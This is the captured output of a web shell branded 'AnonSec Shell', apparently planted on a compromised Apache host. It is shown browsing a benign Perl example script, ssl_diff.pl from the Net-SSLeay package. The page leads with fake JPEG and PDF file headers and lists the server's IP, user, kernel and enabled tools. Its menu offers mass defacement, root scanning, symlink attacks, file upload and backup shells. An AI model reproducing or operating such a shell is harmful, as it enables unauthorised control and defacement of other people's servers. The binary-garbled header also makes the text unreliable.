ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2717185/root/usr/share/doc/perl-Net-SSLeay/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2717185/root/usr/share/doc/perl-Net-SSLeay/examples/ssl_diff.pl
#!/usr/bin/perl
# 18.6.1998, Sampo Kellomaki <sampo@iki.fi>
# Tool used to sync SSLeay.xs with ssl.h. Prints what .h has that .xs doesn't.
# Usage: examples/ssl_diff.pl *pat* SSLeay.xs /usr/local/ssl/include/ssl.h
# E.g:   examples/ssl_diff.pl SSL_CTX_ SSLeay.xs /usr/local/ssl/include/ssl.h

($pat, $xs, $h) = @ARGV;

open XS, $xs or die "Cant open .xs `$xs' ($!)\n";
foreach $_ (<XS>) {
    next unless ($name) = /^($pat.*?)\(/o;
    $xs{$name} = 1;
}
close XS;

open H, $h or die "Cant open .h `$h' ($!)\n";
foreach $_ (<H>) {
    next unless ($name) = /($pat.*?)\(/o;
    print "$name\n" unless $xs{$name};
}
close H;

__END__

Anon7 - 2022
AnonSec Team